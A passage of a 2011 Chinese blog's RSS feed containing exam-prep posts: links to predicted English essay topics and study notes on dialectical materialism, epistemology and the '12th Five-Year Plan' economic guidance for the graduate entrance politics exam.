            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi1771.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 城市交通</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi2200.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 商业行贿</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi5700.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 乐观与豁达</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi7137.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 节约资源</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi1404.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 大学生就业</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi16700.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 社会意识</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi7006.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 网络的利与弊</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi4060.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 低碳与环保</a></div>
            </div>
            </td>
        </tr>
    </tbody>
</table>
</span></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p><p><a href="http://www.holmesian.org/Conan-2011-DVD">名侦探柯南剧场版DVD-沉默的15分钟</a></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-notice">2011年硕士研究生招生考试注意事项</a></p><p><a href="http://www.holmesian.org/Conan_2011">[名侦探柯南真人版3_怪鸟传说之谜2011][720P高清]</a></p></div>]]></description>
	<pubDate>Mon, 10 Jan 2011 02:19:01 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011-kaoyan-yingyuzuowen</guid>

</item>
<item>
	<title>2011年考研政治大题预测-转变经济发展</title>
	<link>http://www.holmesian.org/2011-kaoyan-jingjifazhan</link>
	<description><![CDATA[<p>&nbsp;<span class="Apple-style-span" style="font-family: 宋体; line-height: 23px; ">制定&ldquo;十二五&rdquo;规划的指导思想是高举中国特色社会主义伟大旗帜，以邓小平理论和&ldquo;三个代表&rdquo;重要思想为指导，深入贯彻落实科学发展观，适应国内外形势新变化，顺应各族人民过上更好生活新期待，以科学发展为主题，以加快转变经济发展方式为主线，深化改革开放，保障和改善民生，巩固和扩大应对国际金融危机冲击成果，促进经济长期平稳较快发展和社会和谐稳定，为全面建成小康社会打下具有决定性意义的基础。
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 以科学发展为主题，是时代的要求，关系改革开放和现代化建设全局。我国是拥有十三亿人口的发展中大国，仍处于并将长期处于社会主义初级阶段，发展仍是解决我国所有问题的关键。在当代中国，坚持发展是硬道理的本质要求，就是坚持科学发展，更加注重以人为本，更加注重全面协调可持续发展，更加注重统筹兼顾，更加注重保障和改善民生，促进社会公平正义。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 提出转变经济发展方式，实质就是要求我们采取综合措施，加快形成与贯彻落实科学发展观、实现经济社会全面协调可持续发展相一致的发展方式。以加快转变经济发展方式为主线，是推动科学发展的必由之路，符合我国基本国情和发展阶段性新特征。加快转变经济发展方式是我国经济社会领域的一场深刻变革，必须贯穿经济社会发展全过程和各领域，提高发展的全面性、协调性、可持续性，坚持在发展中促转变、在转变中谋发展，实现经济社会又好又快发展。基本要求是：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 第一，坚持把经济结构战略性调整作为加快转变经济发展方式的主攻方向。构建扩大内需长效机制，促进经济增长向依靠消费、投资、出口协调拉动转变。加强农业基础地位，提升制造业核心竞争力，发展战略性新兴产业，加快发展服务业，促进经济增长向依靠第一、第二、第三产业协同带动转变。统筹城乡发展，积极稳妥推进城镇化，加快推进社会主义新农村建设，促进区域良性互动、协调发展。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 第二，坚持把科技进步和创新作为加快转变经济发展方式的重要支撑。深入实施科教兴国战略和人才强国战略，充分发挥科技第一生产力和人才第一资源作用，提高教育现代化水平，增强自主创新能力，壮大创新人才队伍，推动发展向主要依靠科技进步、劳动者素质提高、管理创新转变，加快建设创新型国家。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 第三，坚持把保障和改善民生作为加快转变经济发展方式的根本出发点和落脚点。完善保障和改善民生的制度安排，把促进就业放在经济社会发展优先位置，加快发展各项社会事业，推进基本公共服务均等化，加大收入分配调节力度，坚定不移走共同富裕道路，使发展成果惠及全体人民。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 第四，坚持把建设资源节约型、环境友好型社会作为加快转变经济发展方式的重要着力点。深入贯彻节约资源和保护环境基本国策，节约能源，降低温室气体排放强度，发展循环经济，推广低碳技术，积极应对气候变化，促进经济社会发展与人口资源环境相协调，走可持续发展之路。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 第五，坚持把改革开放作为加快转变经济发展方式的强大动力。坚定推进经济、<a href="http://www.cnedu.cn/politics/" target="_blank" class="bule" style="text-decoration: none; color: rgb(0, 0, 255); ">政治</a>、文化、社会等领域改革，加快构建有利于科学发展的体制机制。实施互利共赢的开放战略，与国际社会共同应对全球性挑战、共同分享发展机遇。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">&nbsp;&nbsp;&nbsp; 坚持走中国特色新型工业化道路，必须适应市场需求变化，根据科技进步新趋势，发挥我国产业在全球经济中的比较优势，发展结构优化、技术先进、清洁安全、附加值高、吸纳就业能力强的现代产业体系。</p>
</span></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-notice">2011年硕士研究生招生考试注意事项</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p><p><a href="http://www.holmesian.org/Conan-2011-DVD">名侦探柯南剧场版DVD-沉默的15分钟</a></p><p><a href="http://www.holmesian.org/Conan_2011">[名侦探柯南真人版3_怪鸟传说之谜2011][720P高清]</a></p></div>]]></description>
	<pubDate>Mon, 10 Jan 2011 02:13:41 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011-kaoyan-jingjifazhan</guid>

</item>
<item>
	<title>2011年考研政治大题预测-实践和认识</title>
	<link>http://www.holmesian.org/2011-kaoyan-shijianrenshi</link>
	<description><![CDATA[<p>&nbsp;<span class="Apple-style-span" style="font-family: 宋体; line-height: 23px; "><strong style="font-weight: bold; font-style: normal; ">重点2 运用辩证唯物主义认识论的有关原理，特别是实践和认识相互关系、认识的本质及其基本规律、价值观以及真理与价值的关系等有关原理分析认识论的具体问题</strong>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  内容总结：两个作用：实践对认识的决定作用；认识、理论对实践的<a href="http://www.cnedu.cn/zhidao/" target="_blank" class="bule" style="text-decoration: none; color: rgb(0, 0, 255); ">指导</a>作用。一个本质：认识的本质。三个过程：（1）认识过程中感性认识和理性认识及其辩证关系。（2）从感性认识向理性认识飞跃的条件；从理性认识到实践飞跃的意义和条件。（3）认识过程的反复性和无限性；认识和实践的具体的历史的统一。两类因素：理性因素的作用；非理性因素的作用。两把尺度：真理及其属性、标准；价值及其特征、价值评价及其特点和功能、正确的价值观以及真理和价值的关系。一个统一：认识与实践的统一。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  1. 从实践到认识，再从认识到实践，实践、认识、再实践、再认识，这是人类认识运动的辩证发展过程，也是人类认识运动的基本规律。从总体上讲，这一基本规律包括的原理主要有：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  （1）认识过程的反复性和无限性原理。认识运动的基本规律说明认识过程具有反复性和无限性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  第一，认识过程的反复性是指，人们对于一个复杂事物的认识往往要经过由感性认识到理性认识、再由理性认识到实践的多次反复才能完成。这是因为在认识过程中始终存在着主观和客观的矛盾。认识过程的反复性告诉我们，每个人都不免犯错误。因为我们每个人都受主客观条件的制约。在自然科学的发展中，对于某一自然现象的认识，往往需要经过实践、认识、再实践、再认识的多次反复，才能形成比较科学的理论。认识社会生活更是如此。我们党对在中国建设社会主义的认识就经历了一个曲折反复的过程，到了党的十一届三中全会以后才算达到比较完整、科学的认识，逐步形成了中国特色社会主义理论体系。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  第二，认识发展的无限性是指，对于事物发展过程的推移来说，人类的认识是永无止境、无限发展的，它表现为&ldquo;实践、认识、再实践、再认识&rdquo;的无限循环，由低级阶段向高级阶段不断推移的永无止境的前进运动。这种认识的无限发展过程，在形式上是循环往复，在实质上是前进上升。认识发展的无限性告诉我们，我们必须重视理论创新，不断吸取新的实践<a href="http://www.cnedu.cn/zhidao/talk" target="_blank" class="bule" style="text-decoration: none; color: rgb(0, 0, 255); ">经验</a>、新的思想形成新的认识。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  （2）认识和实践的具体的历史的统一原理。认识运动的基本规律决定了主观和客观、认识和实践的统一是具体的和历史的。所谓具体的，即主观认识要同一定时间、地点、条件下的客观实践相符合；所谓历史的，即主观认识要同特定历史发展阶段的客观实践相适应。由于客观实践是具体的、历史的，所以，主观认识也应当是具体的、历史的。当事物的具体过程已经向前推移，转变到另一个具体过程的时候，主观认识就应当随之而转变。如果主观认识仍然停留在原来的阶段上，思想落后于实际，就容易犯保守的错误。当事物的具体过程尚未结束，原有的矛盾尚未得到充分的暴露和展开，向另一个具体过程推移、转变的条件还不具备时，如果人们硬要把将来可能做的事情勉强拿到现在来做，企图超越阶段，就容易犯冒进的错误。所以，&ldquo;我们的结论是主观和客观、理论和实践、知和行的具体的历史的统一，反对一切离开具体历史的&lsquo;左&rsquo;的或右的错误思想。&rdquo;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  2. 价值观以及真理和价值的辩证统一关系</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  （1）哲学上的&ldquo;价值&rdquo;是揭示外部客观世界对于满足人的需要的意义关系的范畴，是指具有特定属性的客体对于主体需要的意义。价值由两方面构成，一方面是主体的需要和利益；另一方面是客体的某种属性或性能。价值的特性是：客观性、主体性、社会历史性和多维性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  第一，价值评价是一种关于价值现象的评价性的认识活动，是主体在对客体属性、本质和规律认识的基础上，把自身需要的内在尺度运用于客体，对主体和客体的价值关系进行评判。其特点主要有：（1）评价是以主客体的价值关系为认识对象的。（2）评价结果与评价主体有直接联系，是依主体的特点而转移的。（3）评价结果的正确与否依赖于相关的知识性认识。对于任何价值评价的主体而言，其价值评价只有与人民、人类整体的要求或利益相一致，才是正确的价值评价。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  价值评价在实践中起着激励、制约和导向作用。首先，价值评价作为人们对自身的客观需要和要求的自觉反映，是推动实践不断实现价值的精神驱动力量。其次，价值评价作为实践的主体尺度是实践发展的规范因素。最后，价值评价作为实践活动的目标是实践活动发展的导向因素。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  第二，价值观是人们关于价值本质的认识以及对人和事物的评价标准、评价原则和评价方法的观点的体系。价值观对人的行为起着规范和导向的作用。正确的价值观是先进的社会集团或阶级在实践中形成的，反映了人民群众的要求，对历史发展和社会进步起着促进作用。建设社会主义核心价值体系是推动社会主义文化发展和繁荣，促进社会进步的重要工作。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  （2）真理和价值的辩证统一关系原理。真理原则和价值原则是人类活动的两个基本原则。所谓真理原则是指人类必须按照世界的本来面目去认识和改造世界，追求和服从真理。所谓价值原则是指人类必须按照自己的需要去认识和改造世界，创造和实现价值。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  第一，真理原则和价值原则是有区别的：① 真理原则侧重于客体性，价值原则侧重于主体性；② 真理原则主要表明人的活动中的客观制约性，价值原则主要表明人的活动中的目的性；③ 真理原则体现了社会活动中的统一性，价值原则体现了社会活动中的多样性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  第二，真理和价值统一于人类的实践活动之中。人类在自己的实践活动中，要把真理原则和价值原则结合起来，通过一定的自我调节来解决真理和价值的冲突，实现真理与价值的统一。首先，成功的实践必然是以真理和价值的辩证统一为前提的。其次，价值的形成和实现以坚持真理为前提，而真理又必然是具有价值的。最后，真理和价值在实践和认识活动中是相互制约、相互引导、相互促进的。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">  意义在于：在实践基础上实现真理与价值的具体的历史的统一，是人类社会进步的内在条件，也是马克思主义哲学的一条基本原则。坚持真理和价值的辩证统一，要求我们在实践中必须坚持和弘扬科学精神和人文精神，既坚持以科学的实事求是的精神去认识和改造世界，又把人民的利益和人的发展看做一切认识和实践活动的出发点，贯彻&ldquo;以人为本&rdquo;的原则。</p>
</span></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2011-kaoyan-notice">2011年硕士研究生招生考试注意事项</a></p><p><a href="http://www.holmesian.org/Conan_2011">[名侦探柯南真人版3_怪鸟传说之谜2011][720P高清]</a></p><p><a href="http://www.holmesian.org/sanxiaxiang_9949">暑假冗长篇</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p><p><a href="http://www.holmesian.org/Conan-2011-DVD">名侦探柯南剧场版DVD-沉默的15分钟</a></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p></div>]]></description>
	<pubDate>Mon, 10 Jan 2011 02:12:20 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011-kaoyan-shijianrenshi</guid>

</item>
<item>
	<title>2011年考研政治大题预测-对立统一</title>
	<link>http://www.holmesian.org/2011-kaoyan-duilitongyi</link>
	<description><![CDATA[<p>&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "><strong style="font-weight: bold; font-style: normal; ">重点1 运用唯物辩证法的有关原理，特别是对立统一规律的有关原理分析世界观和方法论的具体问题</strong></p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">内容总结：两大特征：（1）普遍联系的观点；（2）永恒发展的观点。五对范畴：（1）现象和本质；（2）原因和结果；（3）可能性和现实性；（4）必然性和偶然性；（5）内容和形式。三大规律：（1）对立统一规律；（2）质量互变规律；（3）否定之否定规律。四种方法：（1）归纳与演绎；（2）分析与综合；（3）抽象与具体；（4）逻辑与历史相统一。一个关系：客观规律性与主观能动性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">1、 马克思主义关于事物普遍联系的原理，该原理包括的观点有：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">（1）联系具有客观性；（2）联系具有普遍性；（3）联系具有多样性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">其方法论意义要求我们用联系的观点看问题，要善于分析事物的具体联系，确立整体性、开放性观念，从动态中考察事物的普遍联系。当代中国正在以科学发展观为指导构建社会主义和谐社会，这就要求我们正确认识和处理人与自然、人与人、人与社会的相互关系，正确认识和处理中国特色社会主义事业中的重大关系，坚持统筹兼顾，促进经济社会的协调和持续发展，促进人的全面发展。当今世界是开放的世界，在经济全球化的趋势下，各个国家、各个民族之间的相互联系日趋紧密，这就要求我们树立世界眼光，顺应世界潮流，把握世界发展进程中诸方面的相互联系，抓住机遇，努力发展自己。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">马克思主义关于事物永恒发展的原理，该原理包括的观点有：（1）事物联系和发展的关系；（2）发展的实质是新事物的产生和旧事物的灭亡；（3）事物的发展是一个过程。其方法论意义要求我们用发展的观点看问题，用发展的思路和办法解决实际问题。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">上述原理及告诉我们的道理可分析的问题有：中国的发展要采用全球性、全局性的发展战略。（1）中国的发展不能独立于世界经济之外，要和世界发展接轨，所以要采用全球化战略，积极的融入经济全球化的浪潮。（2）中国社会内部存在多种因素，各因素之间是互相联系、互相影响的，所以要采用全局性战略，实行科学发展观，坚持全面协调可持续发展，统筹兼顾的根本方法。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">2. 对立统一规律包括的原理及其方法论意义：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第一，矛盾的同一性和斗争性相互联系、相互制约原理，其意义要求我们在分析和解决矛盾时，必须从对立中把握同一，从同一中把握对立。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第二，矛盾的同一性和斗争性在事物发展中的作用原理。该原理包括的观点有：① 矛盾是事物发展的动力；② 矛盾同一性对事物发展的作用；③ 矛盾斗争性对事物发展的作用；④ 内因和外因辩证关系。该原理对于我们自觉地利用矛盾的这两种力量推动事物发展，具有重要意义。它说明事物的发展不仅表现为&ldquo;相反相成&rdquo;，而且表现为&ldquo;相辅相成&rdquo;。它还说明和谐作为矛盾的一种特殊表现形式，体现着矛盾双方的相互依存、相互促进、共同发展。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第三，矛盾的普遍性原理，其意义在于承认矛盾的普遍性是一切科学认识的首要前提。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第四，矛盾的特殊性原理。该原理包括的观点有：① 根本矛盾和非根本矛盾的辩证关系；② 主要矛盾和次要矛盾的辩证关系；③ 矛盾的主要方面与次要方面辩证关系。其意义在于用不同的方法解决不同的矛盾是马克思主义的一个重要原则。具体问题具体分析是马克思主义的活的灵魂。第五，矛盾的普遍性和特殊性是辩证统一的关系原理。其意义在于矛盾的共性和个性、绝对和相对的道理，是关于事物矛盾问题的精髓。矛盾的普遍性和特殊性辩证关系原理是马克思主义的普遍真理同各国的具体实际相结合的哲学基础，也是建设中国特色社会主义的哲学基础。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">总之，在唯物辩证法的方法论体系中，矛盾分析法居于核心的地位，是根本的认识方法。矛盾分析法包含广泛而深刻的内容。例如，分析矛盾特殊性的方法，&ldquo;两点论&rdquo;与&ldquo;重点论&rdquo;相结合的方法，抓关键、看主流的方法，在对立中把握同一与同一中把握对立的方法，批判与继承相统一的方法等，都是矛盾分析法的具体体现。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">用矛盾分析法可分析的具体问题有：（1）关于和谐的问题。和谐是矛盾的一种特殊表现形式，和谐的本质就在于协调事物内部各种因素的相互关系，促成最有利于事物发展的状态。（2）关于建设社会主义道路的问题。探索社会主义发展道路，必须把马克思主义的普遍真理同各国的具体实际相结合，坚持马克思主义指导思想必须以当时当地的历史条件为转移，坚持&ldquo;走自己的路&rdquo;。（3）关于人的认识规律的问题。人的认识的一般规律也是由认识个别上升到认识一般，再由一般到个别的辩证发展过程。（4）关于非对抗性矛盾的问题。非对抗性矛盾是指矛盾双方的发展方向和利害关系不是对立的，而是可以互补的，矛盾双方相互依赖、取长补短，有很多共同点和一致性。在非对抗性矛盾中，矛盾双方也存在斗争，但这种斗争不表现为激烈的形式，它通过矛盾双方的相互作用，促成矛盾统一体的巩固和发展。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">3.质量互变规律包括的原理及其方法论意义：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第一，事物存在的质、量、度原理。认识质是认识和实践的起点和基础。认识量的意义：一是认识事物的量是认识的深化和精确化。二是只有正确了解事物的量，才能正确估计事物在实践中的地位和作用，因为同质的事物由于数量不同，在实践中的地位和作用往往不同。认识度才能确切地把握事物的质，不致混淆不同的事物；认识度才能为实践活动提供正确的准则即适度原则，防止&ldquo;过&rdquo;或&ldquo;不及&rdquo;。当然，也不能把&ldquo;度&rdquo;绝对化。</p>
